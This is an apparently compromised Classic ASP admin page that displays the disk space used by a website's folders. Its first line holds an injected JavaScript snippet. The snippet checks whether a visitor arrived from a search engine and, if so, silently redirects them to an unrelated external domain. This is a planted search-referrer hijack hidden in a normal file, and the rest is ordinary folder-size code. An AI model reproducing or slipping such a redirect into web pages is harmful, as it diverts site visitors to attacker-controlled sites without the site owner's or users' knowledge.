d:\wwwroot\wuchunhua\SpaceSize.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="conn.asp"-->
002: <%if session("china_admin")="" then
003: response.redirect "login.asp"
004: end if
005: %
>
006: <html>
007: <title>系统空间占用</title>
008: <link href="other/Admin.css" rel="stylesheet" type="text/css">
009: <BODY topmargin="20">
010: <%
011:     Sub ShowSpaceInfo(drvpath)
012:        dim fso,d,size,showsize
013:        set fso=server.createobject("scripting.filesystemobject")
014:        drvpath=server.mappath(drvpath)
015:        set d=fso.getfolder(drvpath)
016:        size=d.size
017:        showsize=size & "&nbsp;Byte"
018:        if size>1024 then
019:           size=(size\1024)
020:           showsize=size & "&nbsp;KB"
021:        end if
022:        if size>1024 then
023:           size=(size/1024)
024:           showsize=formatnumber(size,2) & "&nbsp;MB"
025:        end if
026:        if size>1024 then
027:           size=(size/1024)
028:           showsize=formatnumber(size,2) & "&nbsp;GB"
029:        end if
030:        response.write "<font face=verdana>" & showsize & "</font>"
031:     End Sub
032:     Sub Showspecialspaceinfo(method)
033:        dim fso,d,fc,f1,size,showsize,drvpath
034:        set fso=server.createobject("scripting.filesystemobject")
035:        drvpath=server.mappath("pic")
036:        drvpath=left(drvpath,(instrrev(drvpath,"\")-1))
037:        set d=fso.getfolder(drvpath)
038:        if method="All" then
039:           size=d.size
040:        elseif method="Program" then
041:           set fc=d.Files
042:           for each f1 in fc
043:              size=size+f1.size
044:           next
045:        end if
046:        showsize=size & "&nbsp;Byte"
047:        if size>1024 then
048:           size=(size\1024)
049:           showsize=size & "&nbsp;KB"
050:        end if
051:        if size>1024 then
052:           size=(size/1024)
053:           showsize=formatnumber(size,2) & "&nbsp;MB"
054:        end if
055:        if size>1024 then
056:           size=(size/1024)
057:           showsize=formatnumber(size,2) & "&nbsp;GB"
058:        end if  
059:        response.write "<font face=verdana>" & showsize & "</font>"
060:     end sub
061:     
062:     Function Drawbar(drvpath)
063:        dim fso,drvpathroot,d,size,totalsize,barsize
064:        set fso=server.createobject("scripting.filesystemobject")
065:        drvpathroot=server.mappath("pic")
066:        drvpathroot=left(drvpathroot,(instrrev(drvpathroot,"\")-1))
067:        set d=fso.getfolder(drvpathroot)
068:        totalsize=d.size
069:       
070:        drvpath=server.mappath(drvpath)
071:        set d=fso.getfolder(drvpath)
072:        size=d.size
073:       
074:        barsize=cint((size/totalsize)*400)
075:        Drawbar=barsize
076:     End Function
077:     
078:     Function Drawspecialbar()
079:        dim fso,drvpathroot,d,fc,f1,size,totalsize,barsize
080:        set fso=server.createobject("scripting.filesystemobject")
081:        drvpathroot=server.mappath("pic")
082:        drvpathroot=left(drvpathroot,(instrrev(drvpathroot,"\")-1))
083:        set d=fso.getfolder(drvpathroot)
084:        totalsize=d.size
085:        set fc=d.files
086:        for each f1 in fc
087:           size=size+f1.size
088:        next
089:        barsize=cint((size/totalsize)*400)
090:        Drawspecialbar=barsize
091:     End Function
092: %
>
093: <table width="90" align="center">
094: <tr>
095: <th width="447" height=25 colspan="2">系统空间的使用情况 </th>
096: </tr>
097: <tr>
098: <td width="447" height="140" valign=top >
099: <table width=550 cellpadding=0 cellspacing=1 >
100: <tr><td>      
101: <%
102:     fsoflag=1
103:     if fsoflag=1 then
104: %
>
105: <br>
106: <%
107:     Function GetPP
108:     dim s
109:     s=Request.ServerVariables("path_translated")
110:     GetPP=left(s,instrrev(s,"\",len(s)))
111:           End function
112:           if sPP="" then sPP=GetPP
113:           if right(sPP,1)<>"\" then sPP=sPP&"\"
114:           set fso=server.createobject("scripting.filesystemobject")
115:           Set f = fso.GetFolder(sPP)
116:           Set fc = f.SubFolders
117:           i=1
118:                         i2=1
119:           For Each f in fc
120: %
>
121: 目录<b><%=f.name%></b>占用空间:<img src="Images/Gaobei_VoteL.gif" width="8" height="9"><img src="Images/Gaobei_VoteM.gif" width="<%=drawbar(""&f.name&"")%>" height="9"><img src="Images/Gaobei_VoteR.gif" width="4" height="9">&nbsp;
122: <%showSpaceinfo(""&f.name&"")%><br><br>
123: <%
124:     i=i+1
125:     if i2<10 then
126:     i2=i2+1
127:     else
128:     i2=1
129:     end if
130:     Next
131: %
>
132:           程序文件占用空间:<img src="Images/Gaobei_VoteL.gif" width="8" height="9"><img src="Images/Gaobei_VoteM.gif" width="<%=drawspecialbar%>" height="9"><img src="Images/Gaobei_VoteR.gif" width="4" height="9">&nbsp;
133: <%showSpecialSpaceinfo("Program")%><br><br>
134:           系统占用空间总计:<br>
135:           <img src="Images/Gaobei_VoteL.gif" width="8" height="9"><img src="Images/Gaobei_VoteM.gif" width="400" height="9"><img src="Images/Gaobei_VoteR.gif" width="4" height="9">
136: <%showspecialspaceinfo("All")%>
137: <%
138:     else
139:     response.write "<br><li>本功能已经被关闭"
140:     end if
141: %
>
142: </td>
143: </tr>
144: </table></td>
145: </tr>
146: </table>
147: </body></html>
148:
149: